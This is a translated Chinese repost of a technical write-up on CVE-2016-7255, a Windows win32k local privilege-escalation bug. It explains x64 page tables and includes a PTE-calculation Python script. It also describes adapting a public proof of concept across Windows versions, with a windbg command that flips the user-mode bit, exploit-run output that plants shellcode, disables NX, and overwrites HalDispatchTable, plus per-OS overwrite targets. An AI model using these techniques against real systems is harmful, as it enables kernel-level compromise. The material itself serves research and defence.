Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

0
0
【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

2017-01-20 09:56:39
来源:ricklarabee.blogspot.com 作者:Ox9A82

阅读:409次
点赞(0)
收藏





【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

翻译:Ox9A82

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

在Google安全团队公布了一个本地提权漏洞的细节之后,我决定研究一下这个漏洞。这个漏洞通过win32k.sys的系统调用NtSetWindowLongPtr()把索引为GWLP_ID的windows句柄由GWL_STYLE设置为WS_CHILD。

我在Twitter上找到了一个CVE-2016-7255的PoC。这个PoC演示了这个漏洞:在内核模式下,攻击者控制的地址被解引用并与0x4做逻辑或运算。

在Blackhat 2016上曾经发布过一个演示:《Windows 10 Mitigation Improvements》,它展示了系统空间的PML4条目现在已经被随机化,而不再使用静态条目0x1ed。

在Zero Nights 2016上,Enrique Nissim公布了POC和议题:《I Know Where Your Page Lives - De-Randomizing the Latest Windows 10 Kernel and for Windows 10 anniversary edition》。Enrique演示了如何确定在最新的Windows版本中已被随机化的PML4条目。

我使用了他这个PoC然后做了一些适配,可以在64位版本的Windows 7,8.1,10和Server 2012 R2上对同样的漏洞使用。

我做的一些改变如下:

1.将PML4自引用条目设置为静态条目0xFFFFF6FB7DBEDF68

2.调整shellcode以适配不同操作系统版本中的偏移量

3.给不同的操作系统设置了不同的覆盖(overwrite)目标

4.Win7 工作站 - 使用通用Hal Dispatch Table以及调用NtQueryIntervalProfile函数

5.Win8.1 工作站 - 使用HalpApicRequestInterrupt指针

6.Win 10 工作站(周年更新之前) - 使用HalpApicRequestInterrupt指针

7.Window Server 2012 R2 - 使用HalpApicRequestInterrupt指针

为了更好地理解这个漏洞和exploit的工作原理,我们需要首先看一下虚拟内存管理器是如何工作的。


虚拟内存和页表

要了解如何将虚拟地址映射到物理地址,可以参考AMD和Intel的开发者手册来了解有关映射和页表的内容。


【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

键值位(译注:key bit,指具有特殊意义的bit,如下)会被后面的代码所使用。

读/写(R/W)位。 1号位 - 如果为0,则内存不允许写

用户/管理员(U/S)位。 2号位 - 如果为0,则不允许用户模式访问(ring 3)

不可执行(NX)位。 63号位 -如果为1,则内存不允许执行代码。

跟踪一个虚拟地址到它物理地址的映射过程

为了帮助大家理解如何映射一个虚拟地址到物理地址,我这里会使用windbg来展现映射过程。我这里使用的一个小程序,它的功能是在虚拟地址0x1000000上写入“A”。

虚拟地址:


【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

虚拟地址转换到物理地址

在下面的例子中,我使用windbg作为内核调试器,然后把进程地址空间切换到用户进程的上下文中去。

!process00nameofexe.exe .process/i<addressoftheprocess> .reload/user

CR3寄存器用于查找PML4表的基地址

第一步是获取cr3寄存器的值:

“rcr3”0x1fddff000

这就是指向PML4表的物理地址。

使用虚拟地址的第47-39位* 8(每个地址是64位或8字节)来寻找页目录指针表的物理地址:0x1ff48867


【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

页目录指针表(Page Directory Pointer Table,PDP)

现在使用PDP表的物理地址并将低12位(867)清零,这12个位会在页表(Page Table Entries table)中被引用。

0x1ff48000+虚拟地址的38-30位乘上8作为偏移,以找到页目录表(Page Directory Table)的物理地址,结果是0x19d90867。


【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

页目录表(Page Directory Table)

清零11-0位,得到物理地址:0x19d90000。

0x19d90000 + 虚拟地址的29-21位* 8得到页表(page table)的物理地址:0x1f491867。


【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

页表(Page Table)

清零第11-0位,获得物理地址0x1f491000

0x1f491000+虚拟地址的第20-12位*8获得物理页的物理地址:0x20692867


【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit
一个物理页中的偏移

清零第11-0位,得到物理地址:0x20692000

0x20692000+虚拟地址的第11-0位:0x2692000。在这种情况下,这表示一个物理页中的偏移,并且也表示该页的大小为4kb,0x0-0xfff是0-4095或是表示4kb。

windbg中的!pte命令会提供相同的信息:

!pte-windbg
【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

下面是python代码,它实现了windbg中!pte的功能,并且能够使用不同的自引用索引(这对于计算Windows 10 build 1607中的信息很有用)

#!/usr/bin/python importsys PML4_SELF_REF_INDEX=0x1ed defget_pxe_address(address): entry=PML4_SELF_REF_INDEX; result=address>>9; lower_boundary=(0xFFFF<<48)|(entry<<39); upper_boundary=((0xFFFF<<48)|(entry<<39)+0x8000000000-1)&0xFFFFFFFFFFFFFFF8; result=result|lower_boundary; result=result&upper_boundary; returnresult if(len(sys.argv)==1): print"PleaseenteravirtualaddressandPML4selfrefindexinhexformat" print"ThePML4selfrefindexisoption,thestaticidexof0x1edwillbeused" print"ifoneisnotentered" print"" printsys.argv[0]+"0x10000x1ed" sys.exit(0) address=int(sys.argv[1],16) if(len(sys.argv)>2): PML4_SELF_REF_INDEX=int(sys.argv[2],16) pt=get_pxe_address(address) pd=get_pxe_address(pt) pdpt=get_pxe_address(pd) pml4=get_pxe_address(pdpt) selfref=get_pxe_address(pml4) print"VirtualAddress:%s"%(hex(address)) print"Selfreferenceindex:%s"%(hex(PML4_SELF_REF_INDEX)) print"\n" print"PageTables" print"SelfRef:\t%s"%(hex(selfref)) print"Pml4:\t\t%s"%(hex(pml4)) print"Pdpt:\t\t%s"%(hex(pdpt)) print"Pd:\t\t%s"%(hex(pd)) print"PT:\t\t%s"%(hex(pt))

使用示例:

./pagetables.py0x00x1ed VirtualAddress:0x0 Selfreferenceindex:0x1ed PageTables SelfRef:0xfffff6fb7dbedf68L Pml4:0xfffff6fb7dbed000L Pdpt:0xfffff6fb7da00000L Pd:0xfffff6fb40000000L Pt:0xfffff68000000000L ./pagetables.py0xfffff680000000000x1ed VirtualAddress:0xfffff68000000000L Selfreferenceindex:0x1ed PageTables SelfRef:0xfffff6fb7dbedf68L Pml4:0xfffff6fb7dbedf68L Pdpt:0xfffff6fb7dbed000L Pd:0xfffff6fb7da00000L Pt:0xfffff6fb40000000L !pte in Windows 10 1607

在Windows 10 build 1607(周年版)中,windbg还不了解随机化pml4自引用地址


【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

通过使用上面的python脚本,可以看出windbg没有考虑随机化的pml4自参考索引

./pagetables.py0x00007ff6dd800000 VirtualAddress:0x7ff6dd800000 Selfreferenceindex:0x1ed PageTables SelfRef:0xfffff6fb7dbedf68L Pml4:0xfffff6fb7dbed7f8L Pdpt:0xfffff6fb7daffed8L Pd:0xfffff6fb5ffdb760L PT:0xfffff6bffb6ec000L

如上所述,漏洞(CVE-2016-7255)允许我们使用0x4对值进行异或。这可以启用对PML4e自引用地址的用户模式访问,所以在用户空间可以访问页表,这反过来允许我们读取和修改内存中的任何数据。

注意在Before部分中,第2位设置为零,由KW-V中的“K“或”kenrel”表示。在运行漏洞Exp后,以地址0xFFFFF6FB7DBEDF68为目标,值0x30FED863被翻转为0x30FED867,使得能够在用户模式访问,由UW-V中的“U“或”user”表示。

Windows 8.1

之前


【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

之后


【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

要在windbg中复制exploit正在进行的操作,可以使用以下命令:

r$t1=FFFFF6FB7DBEDF68;eq$t1poi($t1)|0x4
【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

创建新PT来进行读写

现在,该条目已被改为允许用户模式访问,Enrique Nissim提出了一个方法:创建新的使用物理地址和属性进行更新的页表,从而实现读、写任意内存地址。

在这个例子中,地址0xffffffffffd00510只能从内核模式访问,这是由每个条目的第0x63(位7-0:“01100011”,注意第2个位为0)决定的。通过使用Enrique的代码,我们可以创建一个页表,来从用户模式“0x67”(位7-0:“01100111”,通知位2现在是1)访问,并指向与内核只有内存:0x1163或在这种情况下为0x1000(记住清零位11-0)。

之前


【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

之后


【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

漏洞Exp的输出

这是来自在Windows 7上运行的Exp的输出。

创建一个页表,允许读取haldispatchtable+0x8的值。

创建一个页表,允许将shellcode写入内核态内存,绕过SMEP和SMAP,并删除页表上的NX位以允许代码执行。

创建一个页表,允许覆盖haldispatchtable+0x8,这将触发代码执行。

读取将被替换的原始值(haldispatchtable+0x8)

On a Windows 7 box:

[*]GettingOverwritepointer:fffff80002c42c60 [+]SelectedspuriousPML4E:fffff6fb7dbedf00 [+]SpuriousPT:fffff6fb7dbe0000 -------------------------------------------------- [+]Contentpml4efffff6fb7dbedf80:199063 [+]PatchingtheSpuriousOffset(PML4e)fffff6fb7dbedf00:199067 [+]Contentpdptefffff6fb7dbf0000:198063 [+]PatchingtheSpuriousOffset(PDPTE)fffff6fb7dbedf00:198067 [+]Contentpdpefffff6fb7e0000b0:1dc063 [+]PatchingtheSpuriousOffset(PDE)fffff6fb7dbedf00:1dc067 [+]Contentptefffff6fc00016210:8000000002c42963 [+]PatchingtheSpuriousOffset(PTE)fffff6fb7dbedf00:2c42967 OverwriteAddress:fffff6fb7dbe0c60

写入shellcode和删除NX位的输出:

OriginalOverwriteTargetpointer:fffff80002a438e8 [+]SelectedspuriousPML4E:fffff6fb7dbedf08 [+]SpuriousPT:fffff6fb7dbe1000 -------------------------------------------------- [+]Contentpml4efffff6fb7dbedff8:1ec063 [+]PatchingtheSpuriousOffset(PML4e)fffff6fb7dbedf08:1ec067 [+]Contentpdptefffff6fb7dbffff8:1eb063 [+]PatchingtheSpuriousOffset(PDPTE)fffff6fb7dbedf08:1eb067 [+]Contentpdpefffff6fb7ffffff0:1ea063 [+]PatchingtheSpuriousOffset(PDE)fffff6fb7dbedf08:1ea067 [+]Contentptefffff6ffffffe800:100163 ***PatchingtheoriginallocationtoenableNX... [+]PatchingtheSpuriousOffset(PTE)fffff6fb7dbedf08:100167 HALaddress:fffff6fb7dbe1000 [+]w00t:Shellcodestoredat:ffffffffffd00d50

覆盖exec目标的输出:

[+]SelectedspuriousPML4E:fffff6fb7dbedf10 [+]SpuriousPT:fffff6fb7dbe2000 -------------------------------------------------- [+]Contentpml4efffff6fb7dbedf80:199063 [+]PatchingtheSpuriousOffset(PML4e)fffff6fb7dbedf10:199067 [+]Contentpdptefffff6fb7dbf0000:198063 [+]PatchingtheSpuriousOffset(PDPTE)fffff6fb7dbedf10:198067 [+]Contentpdpefffff6fb7e0000b0:1dc063 [+]PatchingtheSpuriousOffset(PDE)fffff6fb7dbedf10:1dc067 [+]Contentptefffff6fc00016210:8000000002c42963 [+]PatchingtheSpuriousOffset(PTE)fffff6fb7dbedf10:2c42967 PatchOverwriteTarget:fffff6fb7dbe2c68withffffffffffd00d50

MS16-135

Microsoft于2016年11月8日发布了补丁MS16-135,以解决此漏洞。 McAfee有一个篇很好的文章讲述了如何修复此漏洞。

开发示范

Windows 7 SP1 Workstation


【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

Windows 8.1 Workstation


【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

Windows 10 Build 1511 Workstation


【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

Windows 2012 R2 Server


【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit


【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit
【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://ricklarabee.blogspot.com/2017/01/virtual-memory-page-tables-and-one-bit.html

Viewing all articles
Browse latest Browse all 12749